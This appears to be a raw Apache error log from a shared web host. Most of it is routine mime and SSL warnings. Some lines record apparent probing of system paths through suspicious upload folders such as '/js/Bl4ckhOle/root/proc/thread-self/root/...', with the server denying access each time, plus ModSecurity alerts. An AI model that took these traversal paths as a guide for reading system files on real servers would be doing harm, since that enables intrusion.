[Fri Jul 17 09:43:35.416396 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.508854 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.524956 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.587206 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.694059 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.698947 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:35748] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:35.787663 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.879128 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.976897 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:36.157183 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:36.427377 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:36.521267 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:36.610691 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/PNP0A06:01/subsystem/drivers_probe
[Fri Jul 17 09:43:36.802094 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/firmware/dmi/entries/0-0/length
[Fri Jul 17 09:43:36.804408 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:35820] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:37.278688 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:37.439162 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:37.803959 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:37.984876 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup8/device/subsystem/drivers/battery/uevent
[Fri Jul 17 09:43:38.074130 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:38.167082 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:38.252663 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:38.301641 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:38.315222 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:38.349718 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:38.440231 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:38.668542 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:38.699313 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:35910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:38.832120 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 57.141.18.78:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory129/subsystem/devices/memory100/node0/memory55/subsystem/devices/memory41/subsystem/uevent
[Fri Jul 17 09:43:38.835131 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:35942] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:38.873224 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:38.906571 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.024954 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.082700 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.112915 2026] [security2:error] [pid 2018741:tid 2018741] [client 146.120.225.196:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.epid.gov.lk"] [uri "/fact-sheets/www.sample.com"] [unique_id "almr87oj0IkvhSCYadmKvgAAAAQ"]
[Fri Jul 17 09:43:39.113342 2026] [security2:error] [pid 2018741:tid 2018741] [client 146.120.225.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/fact-sheets/www.sample.com"] [unique_id "almr87oj0IkvhSCYadmKvgAAAAQ"]
[Fri Jul 17 09:43:39.166316 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.268850 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.451023 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:0b/subsystem/drivers/ac/uevent
[Fri Jul 17 09:43:39.541337 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.663452 2026] [security2:error] [pid 2018741:tid 2018741] [client 146.120.225.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almr87oj0IkvhSCYadmKvgAAAAQ"]
[Fri Jul 17 09:43:39.717148 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.726751 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.761271 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.813266 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.813349 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.813380 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.813410 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.813434 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.813463 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:39.905327 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/xfs_dqtrx/slabs
[Fri Jul 17 09:43:40.080474 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:40.178689 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:40.292728 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:40.360548 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:40.543533 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:40.634710 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:40.725526 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:40.817347 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:41.099063 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:04/subsystem/drivers/battery/unbind
[Fri Jul 17 09:43:41.319189 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:41.376424 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:41.474418 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:41.655279 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:41.751065 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:41.794422 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:41.795323 2026] [security2:error] [pid 1993572:tid 1993572] [client 47.82.52.103:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/244:0/device/subsystem/devices/0003:0627:0001.0001/input/"] [unique_id "almr9Yl9vhFBGA6D8l-DbwAAAAw"]
[Fri Jul 17 09:43:41.795344 2026] [security2:error] [pid 1993572:tid 1993572] [client 47.82.52.103:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/244:0/device/subsystem/devices/0003:0627:0001.0001/input/"] [unique_id "almr9Yl9vhFBGA6D8l-DbwAAAAw"]
[Fri Jul 17 09:43:41.927892 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:41.928439 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/lib64/ldb/modules/"] [unique_id "almr9TsMb3am0TgkjETj5gAAAAo"]
[Fri Jul 17 09:43:41.928461 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/lib64/ldb/modules/"] [unique_id "almr9TsMb3am0TgkjETj5gAAAAo"]
[Fri Jul 17 09:43:42.112474 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:42.204647 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:42.296867 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:42.615985 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:46982] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:42.728166 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/ata_piix/unbind
[Fri Jul 17 09:43:42.844219 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:42.951368 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.027261 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.309261 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.312526 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:47004] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:43.335683 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.396212 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.481542 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.572193 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.572944 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/fs/cgroup/freezer/lve1021/"] [unique_id "almr91h1WDijTxd1xw5VWgAAAAc"]
[Fri Jul 17 09:43:43.572979 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/fs/cgroup/freezer/lve1021/"] [unique_id "almr91h1WDijTxd1xw5VWgAAAAc"]
[Fri Jul 17 09:43:43.755580 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.826925 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.847536 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:43.935922 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:01/subsystem/drivers/battery/uevent
[Fri Jul 17 09:43:43.996423 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:47050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:44.027670 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:44.118402 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/var/log/anaconda/syslog
[Fri Jul 17 09:43:44.222799 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:44.299484 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:44.484539 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:14/subsystem/drivers/ec/uevent
[Fri Jul 17 09:43:44.665174 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:44.936543 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:44.939459 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:45.211156 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:45.303089 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:45.392866 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:45.538388 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:45.635892 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:45.757271 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:45.849783 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:45.940846 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:45.941425 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/lib/firmware/atmel/"] [unique_id "almr-SRF0UOO1RzB5_83lAAAAA4"]
[Fri Jul 17 09:43:45.941448 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/lib/firmware/atmel/"] [unique_id "almr-SRF0UOO1RzB5_83lAAAAA4"]
[Fri Jul 17 09:43:46.213572 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:46.304814 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:46.350174 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:46.395026 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:46.484659 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:46.608515 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:47174] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:46.855314 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:46.942849 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:47.441987 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:47.442288 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:47.654291 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:47.725138 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:48.330104 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/gpiolib_acpi/uevent
[Fri Jul 17 09:43:48.347304 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:48.374783 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:48.404507 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:48.427462 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:48.484956 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:48.499460 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:48.551192 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:48.666145 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:48.938015 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:49.119355 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:49.210820 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:49.301281 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:49.666575 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:49.757660 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:49.823120 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 57.141.18.101:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory113/subsystem/devices/memory142/node0/memory82/subsystem/drivers_probe
[Fri Jul 17 09:43:49.869120 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:49.946510 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:49.985804 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:50.034353 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:50.125455 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:50.226086 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:50.379005 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:47392] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:50.465736 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:50.491021 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:50.491670 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty44/subsystem/tty25/power/"] [unique_id "almr_roj0IkvhSCYadmKxwAAAAQ"]
[Fri Jul 17 09:43:50.491695 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty44/subsystem/tty25/power/"] [unique_id "almr_roj0IkvhSCYadmKxwAAAAQ"]
[Fri Jul 17 09:43:50.560538 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:50.586905 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:50.776849 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:51.033646 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:51.216498 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:51.306971 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:51.420650 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:35942] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:51.420834 2026] [security2:error] [pid 2050572:tid 2050572] [client 57.141.18.47:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/cpu/cpu2/node0/memory57/subsystem/devices/memory5/subsystem/devices/memory104/node0/memory78/uevent"] [unique_id "almr_2uF39UwWB2KWdbSWAAAAA8"]
[Fri Jul 17 09:43:51.420868 2026] [security2:error] [pid 2050572:tid 2050572] [client 57.141.18.47:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/cpu/cpu2/node0/memory57/subsystem/devices/memory5/subsystem/devices/memory104/node0/memory78/uevent"] [unique_id "almr_2uF39UwWB2KWdbSWAAAAA8"]
[Fri Jul 17 09:43:51.492082 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:51.579870 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:51.944806 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:52.060559 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:52.127027 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:52.242712 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:52.399850 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:52.466143 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:35998] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:52.491551 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:52.581417 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:52.672907 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:52.763326 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
